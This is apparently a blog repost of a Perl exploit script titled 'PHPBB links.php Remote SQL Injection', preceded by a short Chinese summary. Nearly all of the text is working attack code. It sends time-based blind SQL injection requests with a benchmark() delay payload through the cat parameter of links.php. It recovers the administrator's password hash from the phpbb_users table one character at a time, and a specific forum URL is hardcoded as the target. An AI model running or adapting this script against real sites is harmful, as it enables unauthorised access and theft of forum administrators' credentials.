PHPBB links.php Remote SQL Injection

最新推荐文章于 2025-08-21 13:30:39 发布

weixin_33711647

最新推荐文章于 2025-08-21 13:30:39 发布

阅读量296

点赞数

CC 4.0 BY-SA版权

文章标签： php

本文链接：https://blog.youkuaiyun.com/weixin_33711647/article/details/85181465

本文档提供了一个针对PHPBB论坛系统中links.php页面的远程SQL注入攻击示例代码，通过基准函数延时的方式逐字符猜解管理员密码。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

#PHPBB links.php Remote SQL Injection
# By Love Fly thanks Flyh4t,Spr1t3
# [email]webwangqi@163.com[/email]
use LWP::UserAgent;
use HTTP::Request::Common;
use Time::HiRes;
######################################## CONFIGURAZIONE EXPLOIT ##########################################################################
$sito = " [url]http://www.gbabel.com/en/forum/[/url]"; # insert vulnerable site as http://[site]/[path]/
##########################################################################################################################################
$var = "1";
my $hash;
@array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
sub richiesta {
$var = $_[0];
$ua = LWP::UserAgent->new;
$inizio=Time::HiRes::time();
$response = $ua->request(GET $var,
s => $var);
$response->is_success() || print("$!\n");
$fine=Time::HiRes::time();
$tempo=$fine-$inizio;
return $tempo
}
sub aggiorna{
system("cls");
print "Tempo sql : " . $_[4] . " secondi\n";
print "Hash : " . $_[3] . "\n";
}
#print richiesta;
for ($i=1;$i<33;$i++)
{
for ($j=0;$j<16;$j++)
{
$var=$sito."links.php?t=sub_pages&cat=(Select IF((ASCII(SUBSTRING(`user_password`,".$i.",1))=".$array[$j]."),benchmark(200000000,CHAR(0)),0) FROM phpbb_users Where `user_id`=2)/*";
$tempo=richiesta($var);
aggiorna($host,$tempodefault,$j,$hash,$tempo,$i);
if($tempo>9)
{
$tempo=richiesta($var);
aggiorna($host,$tempodefault,$j,$hash,$tempo,$i);
if($tempo>9)
{
$hash .=chr($array[$j]);
aggiorna($host,$tempodefault,$j,$hash,$tempo,$i);
$j=200;
}
}
}
if($i==1)
{
if($hash eq "")
{
$i=200;
print "Attacco Fallito Sito Fixato\n";
}
}
}

print "Attacco Terminato\n\n";
system("pause");